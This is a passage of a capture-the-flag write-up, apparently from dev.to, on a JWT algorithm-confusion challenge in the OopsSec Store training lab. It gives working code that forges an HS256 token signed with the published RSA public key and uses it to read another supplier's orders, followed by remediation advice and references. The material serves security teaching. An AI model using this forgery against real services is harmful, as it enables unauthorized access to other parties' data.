      &lt;/span&gt;&lt;span class="nl"&gt;"n"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"qNe4nHCHMZxQMJb_-I2MWckKsUT-16_Mjy64fqcXpiGu6HvEQStT…"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"e"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AQAB"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"use"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sig"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RS256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ZTLqFfjebiIijPCnaGTYUBOeVqayDNg2RmYy0yc3A58"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Node converts a JWK to SPKI PEM without any manual DER assembly:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;keys&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://localhost:3000/.well-known/jwks.json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createPublicKey&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;jwk&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;spki&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;pem&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;In Python, &lt;code&gt;jwcrypto&lt;/code&gt; or &lt;code&gt;python-jose&lt;/code&gt; do the same job:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;jwcrypto&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;jwk&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;jwks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://localhost:3000/.well-known/jwks.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;JWK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;jwks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;keys&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;pem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;export_to_pem&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# bytes, SPKI, trailing newline included
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If the encoding fights you, take the shortcut — OopsSec Store also serves the raw PEM, exactly as many real providers do:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://localhost:3000/.well-known/partner-signing-key.pem &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; key.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Both routes produce identical bytes. Verify it if you want to be sure:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;diff &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://localhost:3000/.well-known/partner-signing-key.pem&lt;span class="o"&gt;)&lt;/span&gt; key.pem &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"identical"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Step 2: Forge the token
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://localhost:3000&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TARGET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SUP-LETTUCE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;BASE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/.well-known/partner-signing-key.pem`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;b64&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;base64url&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;b64&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;alg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HS256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;typ&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;JWT&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;b64&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;iss&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://oopssec.store&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;TARGET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;orders:read&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;iat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHmac&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;sha256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;base64url&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Note &lt;code&gt;digest("base64url")&lt;/code&gt;, not &lt;code&gt;base64&lt;/code&gt;. JWT signatures are base64url: &lt;code&gt;+&lt;/code&gt; becomes &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt; becomes &lt;code&gt;_&lt;/code&gt;, and the &lt;code&gt;=&lt;/code&gt; padding is stripped. Getting this wrong is the second most common reason a forgery "mysteriously" fails.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;kid&lt;/code&gt; header can be dropped. The verifier never looks at it, and leaving it in would be claiming our HMAC was produced by an RSA key.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;jwt_tool&lt;/code&gt; automates the whole thing if you would rather not write the script:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 jwt_tool.py &lt;span class="nv"&gt;$TOKEN&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; k &lt;span class="nt"&gt;-pk&lt;/span&gt; key.pem &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="nt"&gt;-pc&lt;/span&gt; sub &lt;span class="nt"&gt;-pv&lt;/span&gt; SUP-LETTUCE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Step 3: Read the competitor's purchase orders
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$FORGED&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://localhost:3000/api/partner/orders | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fywctygbvfeakv2hnl8gv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fywctygbvfeakv2hnl8gv.png" alt="Exploit" width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There it is: another supplier's contract terms, landed costs and margins — and the flag. Of all the partners on the directory, the one that got read was Lettuce Encrypt.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSS{jwt_4lg_c0nfus10n}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The other two directory entries work the same way. Swap &lt;code&gt;sub&lt;/code&gt; and you have read the whole supplier base.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Pin one algorithm
&lt;/h3&gt;

&lt;p&gt;The most important one. The verifier decides how a token is signed. Never the token.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;EXPECTED_ALGORITHM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;RS256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;decodeSegment&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;alg&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encodedHeader&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;alg&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;EXPECTED_ALGORITHM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;With a library, pass the allow-list explicitly and keep exactly one entry in it:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;publicKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;algorithms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;RS256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;An allow-list with two families in it — &lt;code&gt;["RS256", "HS256"]&lt;/code&gt; — is this vulnerability, spelled differently. That array is normally added during a migration and then forgotten. CVE-2015-9235 and CVE-2022-23540 are both this bug at library level.&lt;/p&gt;
&lt;h3&gt;
  
  
  Keep signing and verification keys in separate variables
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PARTNER_SIGNING_PRIVATE_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getPartnerPrivateKey&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PARTNER_VERIFICATION_PUBLIC_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getPartnerTokenKey&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Never a generic &lt;code&gt;key&lt;/code&gt; that both code paths reach for. This is the structural fix rather than the tactical one: with one variable per role, one call site each, and types that do not interchange, the bug becomes unwriteable. If a migration truly needs two algorithms at once, give each its own verifier function with its own key variable, and pick between them on something the attacker does not control — the API version in the URL, or a &lt;code&gt;kid&lt;/code&gt; looked up in a key store that records which algorithm that key may be used with.&lt;/p&gt;
&lt;h3&gt;
  
  
  While you are in there
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Verify &lt;code&gt;iss&lt;/code&gt;, &lt;code&gt;aud&lt;/code&gt; and &lt;code&gt;exp&lt;/code&gt;, and reject tokens that omit them.&lt;/li&gt;
&lt;li&gt;Compare MACs with &lt;code&gt;crypto.timingSafeEqual&lt;/code&gt;, not &lt;code&gt;===&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Reject &lt;code&gt;alg: none&lt;/code&gt; explicitly; never let a missing &lt;code&gt;alg&lt;/code&gt; fall through to a default.&lt;/li&gt;
&lt;li&gt;Treat the JWKS as a key store, not a key source. A token's &lt;code&gt;jku&lt;/code&gt; or &lt;code&gt;jwk&lt;/code&gt; header must never tell you where to fetch verification material.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A published public key is not a leak. It is the mechanism working as designed — JWKS endpoints exist precisely so that anyone can verify.&lt;/li&gt;
&lt;li&gt;"Public" and "harmless" are different claims. Public key material becomes dangerous the moment a code path is willing to treat it as a secret.&lt;/li&gt;
&lt;li&gt;Algorithm agility in a verifier is a liability, not a feature. Every extra accepted &lt;code&gt;alg&lt;/code&gt; is another way for the token to choose how it gets checked.&lt;/li&gt;
&lt;li&gt;Incomplete migrations are where this lives. The v1 branch nobody wanted to break outlived the reason it existed, which is how most of these bugs reach production.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc8725#section-3.1" rel="noopener noreferrer"&gt;RFC 8725 — JSON Web Token Best Current Practices, §3.1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cwe.mitre.org/data/definitions/347.html" rel="noopener noreferrer"&gt;CWE-347: Improper Verification of Cryptographic Signature&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2015-9235" rel="noopener noreferrer"&gt;CVE-2015-9235&lt;/a&gt; · &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2022-23540" rel="noopener noreferrer"&gt;CVE-2022-23540&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/jwt/algorithm-confusion" rel="noopener noreferrer"&gt;PortSwigger — JWT algorithm confusion attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ticarpi/jwt_tool" rel="noopener noreferrer"&gt;jwt_tool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
